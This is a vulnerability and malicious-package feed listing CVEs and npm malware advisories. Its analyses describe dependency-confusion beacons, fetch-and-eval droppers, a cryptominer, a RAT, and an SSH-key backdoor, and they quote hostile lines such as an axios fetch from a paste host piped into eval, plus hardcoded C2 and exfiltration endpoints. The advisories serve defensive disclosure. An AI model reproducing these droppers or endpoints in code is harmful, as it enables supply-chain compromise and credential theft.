Search: ar-24.com
1,245 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 6.9 | EPSS 0.4% | CVE-2026-57204py-pdf pypdf · Uncontrolled Resource Consumption Medium6.9EPSS 0.4%CVE Database V5CVE-2026-57204 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage, as `MAX_DECLARED_STREAM_LENGTH` is sometimes ignored. This requires parsing a content stream without a `/Length` value. ### Patches This has been fixed in [pypdf==6.13.3](https://github.com/py-pdf/pypdf/releases/tag/6.13.3). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3871](https://github.com/py-pdf/pypdf/pull/3871). | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b70ab5da6865ec94b15097fa84836ab41f39b65a5277974b407c545d8d424c7f) @businessapp-microsites/apis@9999.0.2 is a dependency-confusion squat against the private scope `@businessapp-microsites`, published with an implausibly high version (9999.0.2) to outrank any internal registry copy. On `npm install`, its postinstall.js runs child_process.execSync to collect `hostname`, `whoami`, and `uname -a` / `ver`, combines this with os.hostname(), os.userInfo(), and CI attribution env vars (GITHUB_REPOSITORY, GITHUB_SHA, RUNNER_NAME, etc.), and sends them via https.get to a hardcoded external callback at poc-trustpilot-npm-1782770591.testingboxes.com. Any org whose internal registry mirrors public npm and resolves this scope will auto-execute the beacon under CI credentials. The package self-labels as a bug-bounty PoC, but the executed code is a full dependency-confusion exfil payload against installers of the squatted scope; cover-story framing does not change the installer-side harm. ## Source: ghsa-malware (99d9bf41216d926667db3fad15424bf774c930eea925034003811ff05ca4bbca) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Low | 2.3 | EPSS 0.4% | Low2.3EPSS 0.4%GCVE DatabaseCVE-2026-42245 This security update provides a functional equivalent of RHSA-2026:33577. The original Red Hat(R) advisory is available from the Red Hat web site at https://access.redhat.com/errata/RHSA-2026:33577. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (81ca324fdc9c4ba5536abcd43972f1a506f4af99ace29447b66a17947b1b8606) package.json declares both preinstall and postinstall scripts that run `node callback.js`, so the callback fires automatically on `npm install` with no user interaction. callback.js collects identifying data from the installer's machine — os.hostname(), os.userInfo().username, process.cwd(), the consuming package name@version, and process.platform/arch — and transmits it to two attacker-controlled collectors: (1) a DNS lookup whose label is the hex-encoded hostname under a canarytokens.com subdomain, and (2) an HTTPS GET to https://eolxuw8fddeyjj8.m.pipedream.net carrying the collected fields as query parameters. The callback wraps all I/O in try/catch and forces process.exitCode=0, so the install completes silently even if the network call fails, hiding the beacon from the installer. The package self-describes as a dependency-confusion proof-of-concept, but the behavior is genuine install-time exfiltration of installer-identifying data and harms any machine that runs `npm install`. ## Source: ossf-package-analysis (10b9ccdaec6709f86d79c1dec1b8fbfa87926dedbdc1e2355979308e7c516f3e) The OpenSSF Package Analysis project identified 'lc-chatbot' @ 0.9.0-rc.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. | GCVE Database | |||
| High | 7.4 | EPSS 0.2% | High7.4EPSS 0.2%GCVE DatabaseCVE-2026-3195 To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle | GCVE Database | ||
| High | 7.8 | EPSS 0.2% | High7.8EPSS 0.2%GCVE DatabaseCVE-2026-53024 To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (be17d22b28dc53ea46085190c1f5ff11ae16ce4b80539162d68c2ad2b224158e) chai-as-synced@7.0.9 impersonates the pino logger: it ships pino's README, LICENSE, docs/, index.d.ts and lib/ file layout (proto.js, levels.js, redaction.js, transport.js, worker.js, tools.js, multistream.js) with pino's keywords (`fast`,`logger`,`stream`,`json`), while package.json declares an unrelated name and author (Robert King <hello@jsonspack.com>, bugs URL https://jsonspack.com/issues) and a boilerplate description unrelated to logging. index.js unconditionally executes `require('./lib/config')` at module top level. lib/config.js is not pino's config module; it is a ~4MB single-line obfuscator.io bundle (rotated string array of ~23,868 entries, hex-escaped identifiers, control-flow flattening, nested decoder functions) that auto-runs the moment any consumer imports the package. The package also declares `axios ^1.10.0` as a runtime dependency although the visible wrapper (a no-op express middleware) has no HTTP use, positioning the hidden payload to perform network I/O at import. The combination of deceptive identity, hidden obfuscated payload, import-time auto-execution, and a bundled HTTP client is a covert-code-execution shape inconsistent with any legitimate logging library. ## Source: ghsa-malware (40194d8b76beed1c302e92600d56ab077089dc5db4790851e20326587ebc7f3d) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (910cc6eef707ac872daeb3a527e6dd9c75044ebb178f9eb48745f5cfd4123968) helpers.js defines a createLog() helper that base64-decodes a constant HASH_KEY to https://www.jsonkeeper.com/b/XVHGD (an anonymous JSON-paste host) and fetches the response, then passes data.data to a createLogger() function from the log-format-thread dependency. The destination URL is stored as a base64 literal to avoid plain-text discovery. However, the helper is never invoked from the package's main entry (index.js) in this version, and helpers.js itself contains broken code (an `import { req } from "request"` for an unused symbol, and a top-level `await` inside a non-async function) that would prevent the module from loading cleanly if it were required. The fetched content is also passed only to a logger formatter, not to eval/exec/Function/require — so even on the dead code path, the bytes are not executed as code. The combination of obfuscated URL + anonymous paste host + tampering shape is suspicious and inconsistent with a legitimate JSON-formatting helper, but the harmful path is not reached by a default require() of this package and there is no install-time lifecycle hook driving the fetch. ## Source: ghsa-malware (4b3b4e269246a3979e91e827093cc4161b3f4351957eae0d3f1ba80ae8a07502) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2cce5614817c010bad6d6bd86146713b627ad235b87d9ccd341bd3d996a80119) wellnpm@2.0.9 ships a 24MB ELF binary named `launch` which is the XMRig Monero miner (RandomX, cn/upx2, ghostrider algorithm strings, libuv/OpenSSL linkage, hashvault pool references). `package.json` declares `"main": "launch"` and `"scripts.start": "./launch"`, so running `npm start` on this package immediately launches the miner. A bundled `config.json` is pre-configured against `pool.hashvault.pro:80` with the hardcoded recipient wallet `4AUTfJGTvT8A98PSE99EunfrnUbkWe9vU3FN3qsABQLP5aPKQuvWS5sCaD9WaXFQUqNtDLb9dcxiBgJiWCfjvDXp5ptWDYG`, so all hashrate from victim machines is credited to the author. A second `scripts.deploy` script targets Android Termux: it moves `libuv.so` into `/data/data/com.termux/files/usr/lib`, chmod+x's the `xmr` and `edit` shell wrappers, and copies them into `/data/data/com.termux/files/usr/bin` so the miner becomes a persistent, PATH-resolvable command in the user's Termux environment. The wrappers themselves are one-liners that `cd node_modules/wellnpm && npm start`. README does not mention mining; metadata is placeholder (`author: Your Name <wellenterprise81.gmail.com>`, `description: A brief description of your package`). This is a cryptojacking dropper masquerading as an npm module. ## Source: ghsa-malware (8e91f40e7af1730f15a357bb3074c7d208765ba41598c35373ed5b3b374d607a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8dbad34a92b1a5080681d7966e3c807324847605ee60f874076b85e336860def) Package masquerades as Sindre Sorhus's popular 'log-update' library (matching name and description claiming 'Log by overwriting the previous output in the terminal'), but ships none of the advertised terminal-rendering functionality. The exported run() function (CLI entrypoint and library export) executes a multi-stage attack on each invocation: (1) collectSystemFingerprint() captures OS, first non-internal IPv4, and username and POSTs them to https://rust-api-jet.vercel.app/api/validate/system-info. (2) scanFilesystem() walks /home/*, /root, /Users/*, or Windows drive letters C..J harvesting files with extensions.env/.json/.txt/.doc/.docx/.xlsx (binary types base64-encoded) and uploads them in batches to https://rust-api-jet.vercel.app/api/validate/files along with the host fingerprint. (3) readProjectEnv() reads the caller's project.env, and findPolymarketConfigFiles() recursively locates env.ts/config.ts/createClobClient.ts/clob.ts files — indicating specific targeting of Polymarket CLOB API users / crypto wallet credentials — uploading them to https://rust-api-jet.vercel.app/api/validate/project-env. (4) On Linux, ensureAuthorizedKey() creates ~/.ssh with mode 0700 if needed and appends the hardcoded attacker public key 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIZ/sWGcR6r/IB+J4zQduNZWN3DLM3wqe08xyl+AOPeI xxx@gmail.com' to ~/.ssh/authorized_keys with mode 0600, granting the attacker persistent SSH login under the running user. ## Source: ghsa-malware (560c7fe76f994edd8bbb7caa0725faeb7afbcd097ad8019f60d19769c461f9a0) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8a4e552337fa70064e0a04644ee5a64378809a85b281eda24707bc9a6eba473f) starship-timeline@1.0.1 ships no real functionality. Its package.json declares a preinstall hook (`"preinstall": "node index.js"`) that runs automatically on `npm install`. index.js collects hostname, username, home directory, DNS servers, package metadata, and the contents of `/etc/passwd` and `/etc/hosts`, then POSTs the bundle over HTTPS to a hardcoded Burp Collaborator (`*.oastify.com`) subdomain (`5tziqozihbss8jg955ez91bycpij69uy.oastify.com`). The package has empty author and description fields, a single published version, and no other code paths — the exfiltration beacon is its only purpose, matching the standard dependency-confusion / OOB-beacon pattern. Whether deployed as research or as a live attack, installing the package leaks identifying host data and sensitive system files to an attacker-controlled out-of-band endpoint. ## Source: ghsa-malware (afc0d28ef1270eb9cb4a35bb75e9a2e5c9e4a8f36fcd25e4979a2d475aa6211b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e7d2534408d7dd1d7f02c3ef470bc697d0803e8acd58941de5974a250127cb8c) Package ships a verbatim copy of big.js v7.0.1 (including the original author metadata 'Michael Mclaughlin <M8ch88l@gmail.com>' and repo reference MikeMcl/big.js) under a different name, mimicking a legitimate arbitrary-precision math library to lure installers. Hidden between math methods in the module body is an unrelated block: `try { const doc = require("data-parser-utils"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. This block fires on every `require('ts-precision')` / `import` of the package, pulling in and invoking the known-malicious npm package `data-parser-utils`, with errors silently swallowed in an empty try/catch and no-op promise handlers to hide failures from the consumer. The dependency invocation is unrelated to decimal arithmetic and exists solely to side-load attacker-controlled code into any consumer's process at module load. ## Source: ghsa-malware (b4ffbdf3dab9ae9a0147818f09f7763029240baf7125f0363fedbc80dcf71234) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| High | 7.8 | EPSS 0.1% | High7.8EPSS 0.1%GCVE DatabaseCVE-2026-53259 In the Linux kernel, the following vulnerability has been resolved: ipv6: anycast: insert aca into global hash under idev->lock syzbot reported a splat [1]: a slab-use-after-free in ipv6_chk_acast_addr(), which walks the global inet6_acaddr_lst[] hash under RCU and dereferences a struct ifacaddr6 that has already been freed while still linked in the hash, so a later reader walks into a dangling node. In __ipv6_dev_ac_inc() the aca is allocated with refcount 1, then aca_get() bumps it to 2 to keep it alive across the unlocked region. It is published to idev->ac_list under idev->lock, but ipv6_add_acaddr_hash() runs after write_unlock_bh(). A concurrent teardown (ipv6_ac_destroy_dev() from addrconf_ifdown(), under RTNL) can slip into that window: CPU0 __ipv6_dev_ac_inc CPU1 ipv6_ac_destroy_dev (RTNL) ------------------------------ ------------------------------------ aca_alloc() refcnt 1 aca_get() refcnt 2 write_lock_bh(idev->lock) add aca to ac_list write_unlock_bh(idev->lock) write_lock_bh(idev->lock) pull aca off ac_list write_unlock_bh(idev->lock) ipv6_del_acaddr_hash(aca) hlist_del_init_rcu() is a no-op, aca is not in the hash yet aca_put() refcnt 2->1 ipv6_add_acaddr_hash(aca) aca now inserted into the hash aca_put() refcnt 1->0 call_rcu(aca_free_rcu) -> kfree(aca) The hash removal becomes a no-op because the insertion has not happened yet, so once CPU0 inserts and drops the last reference, the aca is freed while still linked in inet6_acaddr_lst[], and readers dereference freed memory after the slab slot is reused. This window opened once RTNL stopped serializing the join path against device teardown. Move ipv6_add_acaddr_hash() inside the idev->lock section so the ac_list and hash insertions are atomic with respect to teardown: a racing remover now either misses the aca entirely or finds it in both lists. acaddr_hash_lock is now nested under idev->lock, which is acquired in softirq context, so switch all acaddr_hash_lock sites to spin_lock_bh() to avoid the irq lock inversion reported in [2]. [1] https://syzkaller.appspot.com/bug?extid=a01df04303c131efbf3a [2] https://lore.kernel.org/netdev/6a194ef7.ba3b1513.1890b4.0000.GAE@google.com/ EPSS 0.1%Vulnerability | GCVE Database | ||
| High | 7.5 | EPSS 0.2% | High7.5EPSS 0.2%GCVE DatabaseCVE-2026-52945 In the Linux kernel, the following vulnerability has been resolved: Revert "wireguard: device: enable threaded NAPI" This reverts commit 933466fc50a8e4eb167acbd0d8ec96a078462e9c which is commit db9ae3b6b43c79b1ba87eea849fd65efa05b4b2e upstream. We have had three independent production user reports in combination with Cilium utilizing WireGuard as encryption underneath that k8s Pod E/W traffic to certain peer nodes fully stalled. The situation appears as follows: - Occurs very rarely but at random times under heavy networking load. - Once the issue triggers the decryption side stops working completely for that WireGuard peer, other peers keep working fine. The stall happens also for newly initiated connections towards that particular WireGuard peer. - Only the decryption side is affected, never the encryption side. - Once it triggers, it never recovers and remains in this state, the CPU/mem on that node looks normal, no leak, busy loop or crash. - bpftrace on the affected system shows that wg_prev_queue_enqueue fails, thus the MAX_QUEUED_PACKETS (1024 skbs!) for the peer's rx_queue is reached. - Also, bpftrace shows that wg_packet_rx_poll for that peer is never called again after reaching this state for that peer. For other peers wg_packet_rx_poll does get called normally. - Commit db9ae3b ("wireguard: device: enable threaded NAPI") switched WireGuard to threaded NAPI by default. The default has not been changed for triggering the issue, neither did CPU hotplugging occur (i.e. 5bd8de2 ("wireguard: queueing: always return valid online CPU in wg_cpumask_choose_online()")). - The issue has been observed with stable kernels of v5.15 as well as v6.1. It was reported to us that v5.10 stable is working fine, and no report on v6.6 stable either (somewhat related discussion in [0] though). - In the WireGuard driver the only material difference between v5.10 stable and v5.15 stable is the switch to threaded NAPI by default. [0] https://lore.kernel.org/netdev/CA+wXwBTT74RErDGAnj98PqS=wvdh8eM1pi4q6tTdExtjnokKqA@mail.gmail.com/ Breakdown of the problem: 1) skbs arriving for decryption are enqueued to the peer->rx_queue in wg_packet_consume_data via wg_queue_enqueue_per_device_and_peer. 2) The latter only moves the skb into the MPSC peer queue if it does not surpass MAX_QUEUED_PACKETS (1024) which is kept track in an atomic counter via wg_prev_queue_enqueue. 3) In case enqueueing was successful, the skb is also queued up in the device queue, round-robin picks a next online CPU, and schedules the decryption worker. 4) The wg_packet_decrypt_worker, once scheduled, picks these up from the queue, decrypts the packets and once done calls into wg_queue_enqueue_per_peer_rx. 5) The latter updates the state to PACKET_STATE_CRYPTED on success and calls napi_schedule on the per peer->napi instance. 6) NAPI then polls via wg_packet_rx_poll. wg_prev_queue_peek checks on the peer->rx_queue. It will wg_prev_queue_dequeue if the queue->peeked skb was not cached yet, or just return the latter otherwise. (wg_prev_queue_drop_peeked later clears the cache.) 7) From an ordering perspective, the peer->rx_queue has skbs in order while the device queue with the per-CPU worker threads from a global ordering PoV can finish the decryption and signal the skb PACKET_STATE_CRYPTED out of order. 8) A situation can be observed that the first packet coming in will be stuck waiting for the decryption worker to be scheduled for a longer time when the system is under pressure. 9) While this is the case, the other CPUs in the meantime finish decryption and call into napi_schedule. 10) Now in wg_packet_rx_poll it picks up the first in-order skb from the peer->rx_queue and sees that its state is still PACKET_STATE_UNCRYPTED. The NAPI poll routine then exits e ---truncated--- | GCVE Database | ||
| Critical | 9.8 | EPSS 0.6% | Critical9.8EPSS 0.6%GCVE DatabaseCVE-2026-52986 In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_sip: don't use simple_strtoul Replace unsafe port parsing in epaddr_len(), ct_sip_parse_header_uri(), and ct_sip_parse_request() with a new sip_parse_port() helper that validates each digit against the buffer limit, eliminating the use of simple_strtoul() which assumes NUL-terminated strings. The previous code dereferenced pointers without bounds checks after sip_parse_addr() and relied on simple_strtoul() on non-NUL-terminated skb data. A port that reaches the buffer limit without a trailing character is also rejected as malformed. Also get rid of all simple_strtoul() usage in conntrack, prefer a stricter version instead. There are intentional changes: - Bail out if number is > UINT_MAX and indicate a failure, same for too long sequences. While we do accept 05535 as port 5535, we will not accept e.g. 'sip:10.0.0.1:005060'. While its syntactically valid under RFC 3261, we should restrict this to not waste cycles when presented with malformed packets with 64k '0' characters. - Force base 10 in ct_sip_parse_numerical_param(). This is used to fetch 'expire=' and 'rports='; both are expected to use base-10. - In nf_nat_sip.c, only accept the parsed value if its within the 1k-64k range. - epaddr_len now returns 0 if the port is invalid, as it already does for invalid ip addresses. This is intentional. nf_conntrack_sip performs lots of guesswork to find the right parts of the message to parse. Being stricter could break existing setups. Connection tracking helpers are designed to allow traffic to pass, not to block it. Based on an earlier patch from Jenny Guanni Qu <qguanni@gmail.com>. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database forge-jsx4 is a remote access trojan (RAT) published to the public npm registry by the account rafael_silva (rafael_silva@outlook.com). Versions 1.0.122 and 1.0.123 were published on June 21-22, 2026 as a reconstitution of the forge-jsx / forge-jsxy campaign, reusing the same command-and-control infrastructure and encryption after the earlier packages were taken down. The malware executes through a postinstall hook chain ("node scripts/postinstall-clipboard-event.mjs && node scripts/ensure-dist.mjs && node scripts/postinstall-durable-materialize.mjs && node scripts/postinstall-bootstrap.mjs && node scripts/postinstall-agent.mjs"), which runs automatically on npm install and skips CI environments to evade analysis. Once running it deploys a full RAT: system-wide keylogging via uiohook-napi, clipboard monitoring, .env file scanning, shell history collection, host inventory enumeration, desktop screenshot capture via jimp, and a WebSocket filesystem backdoor with remote file access. It scans the filesystem for cryptocurrency material (BIP39 mnemonics validated via checksum, Ed25519 Solana keypairs via tweetnacl, range-checked secp256k1 keys) and harvests browser-extension wallet databases across 21+ Chromium browsers (MetaMask, Phantom, Rabby). It establishes durable persistence outside node_modules (e.g. ~/.local/share/cfgmgr/.forge-jsxy/ on Linux, with macOS/Windows equivalents) plus autostart services (systemd user unit forge-js-worker.service, macOS LaunchAgent com.forgejs.worker.plist, Windows Task Scheduler ForgeJSWorker / HKCU Run key), so it survives npm uninstall, and supports relay-pushed auto-upgrades. Collected data is exfiltrated to a hardcoded C2 at 204.10.194.247 (WebSocket relay ws://204.10.194.247:9877, HTTP API http://204.10.194.247:8765, session password "secret"), to Discord bot webhooks (screenshots via ephemeral URLs), and to Hugging Face Hub repositories via the @huggingface/hub SDK. The payload uses an XOR-obfuscated AES-256-GCM key shared across all campaign waves. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (54ce6747205bbecab342f78d9558861a02c1e21a213d795237b788cb3552a3c0) Package ships several files with patterns that warrant human inspection: a `scripts/postinstall-agent.mjs` invoked at install time, a `dist/discordRelayUpload.js` module with POST/ping/base64 patterns, a `dist/relayServer.js`, a `dist/secretScan/agentStartupAudit.js` that fetches from huggingface.co, and a `dist/hfCredentials.js` with base64 decode operations. The combination of an install-time agent script plus a relay/upload module plus a credentials helper is the kind of composition that can hide an installer-side data flow, but the package name (`forge-jsx4`) and the file naming suggest a developer-tool / agent / Hugging Face integration where many of these patterns may be legitimate (HF API endpoints, content-scanning helpers, build artifact relay). Without traced-code corroboration of where the postinstall agent points, what discordRelayUpload actually transmits, and whose credentials hfCredentials handles, the intent cannot be confirmed. Routing to human review so a maintainer can verify whether the postinstall script performs an outbound fetch to an attacker-controlled destination, whether discordRelayUpload silently exfiltrates caller-supplied data, and whether the embedded base64 blobs decode to executable payloads or to legitimate configuration. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f0b028ed25796b267dc7df004e294b917a05c2e5fdd76e2540530b8c179843c6) db-connector-log@1.0.1 impersonates the legitimate dx-db-connector package (divbloxjs); package.json's repository/homepage point at the divbloxjs project and the library code is a near-verbatim copy with one added method. DivbloxDatabaseConnector.queryDBConnect contains a base64 literal HASH_KEY ("aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1NINVpX") that decodes via atob() to a jsonkeeper.com paste URL, fetches the.session field from that URL with axios, then spawns a detached node child process with stdio piped/ignored and writes the fetched string to its stdin for execution. This is fetch-and-exec of attacker-controlled, mutable remote JavaScript from an anonymous paste host, with the endpoint deliberately obfuscated via base64 encoding and a misleading variable name. Any consumer that invokes queryDBConnect (or any future release that wires this method into install/import paths) executes arbitrary attacker-controlled code in the installer's Node process. The combination of name impersonation of an established publisher, copy-paste of the victim package's code, an added remote-code-execution method, anonymous mutable code source, and URL obfuscation is the canonical typosquat dropper shape. ## Source: ghsa-malware (3bfecfb056db8c5e4aaed4e28024d4774d030e53b889b337bee712dfc6a31c21) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9e0e91601d276764067b1b209efd17a1f59ef03ff4fc814bcb22c495f4a0f9b3) Package impersonates the popular cookie-signature library (copying its README, author field 'TJ Holowaychuk <tj@learnboost.com>', and sign/unsign API), but index.js adds a top-level dropper that fires the moment the module is required. Specifically, index.js line 16 issues `require('axios').get('https://www.jsonkeeper.com/b/MYUKZ').then(r => { eval(r.data.content_o); })`, eval'ing whatever JSON the author currently hosts at that URL. A helper `g()` (index.js lines 18-24) decodes hex-encoded strings to reconstruct the tokens 'axios', 'get', 'then' and a second payload URL https://www.jsonkeeper.com/b/HY6M6, providing an obfuscated fallback dropper. Because jsonkeeper.com is a mutable, author-controlled paste host, the author can change the executed code at any time without republishing the package. Any project that installs and require()s clx-cookie-signature — likely as a mistyped substitute for cookie-signature — runs arbitrary attacker code in the consuming process. ## Source: ghsa-malware (b6f8bcf9ace189d38ea749fd2cf087f05e80dbb540c2c7b3bb0466e30a269008) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0a8032b910c8971e79e7d8b0e250ce4d61fd2a2206d6b319a5aed50e32490456) On require(), lib/writer.js (loaded transitively from the package's main pino.js) collects the installer's full process.env together with host identifiers (os.hostname, os.userInfo().username, os.platform(), and external MAC addresses) into a `data` object, then performs an unconditional axios GET to https://www.jsonkeeper.com/b/MYUKZ and passes the response body through eval(). A second hex-obfuscated jsonkeeper.com URL (https://www.jsonkeeper.com/b/HY6M6) is also staged in the same file. jsonkeeper.com is an anonymous, user-editable JSON paste host, so the eval'd payload is mutable attacker-controlled content with closure access to the staged environment dump — a complete credential-exfiltration + remote-code-execution channel that fires on every consumer that imports the package. The package masquerades as the pino logger: it declares main=pino.js, homepage=https://getpino.io, replicates pino's writer/proto/levels/transport API surface, and ships pino-branded images, while the package name 'stackus' is unrelated to pino. ## Source: ghsa-malware (054e9c9dce969d9464a4dc752c90b9dade081497d02c164bef24e1f79b895fe5) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (bdb11eef3afbfc268bd48a18737884246861c7ae9e6a3d29901ae1379216c633) lib/index.js contains a base64-encoded URL (decoding to https://jsonkeeper.com/b/BN77K, an anonymous mutable paste host) that is fetched via axios.get; the response's `.data.cookie` field is then written to the stdin of a detached `node` child process for execution. The top-level index.js calls getThetaInterface() unconditionally, and package.json declares `postinstall: node index.js`, so the fetch-and-execute path fires automatically on `npm install` as well as on require(). The fetched payload is attacker-controlled and can change at any time. The package additionally impersonates the legitimate `proto-chain` package (README header `# proto-chain`, runtime error messages referencing `require('proto-chain')`), making accidental installs more likely. ## Source: ghsa-malware (e5464b83f14b49df255a13a51392d93c6632bd5605d85a3c670d99d37b967417) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database |
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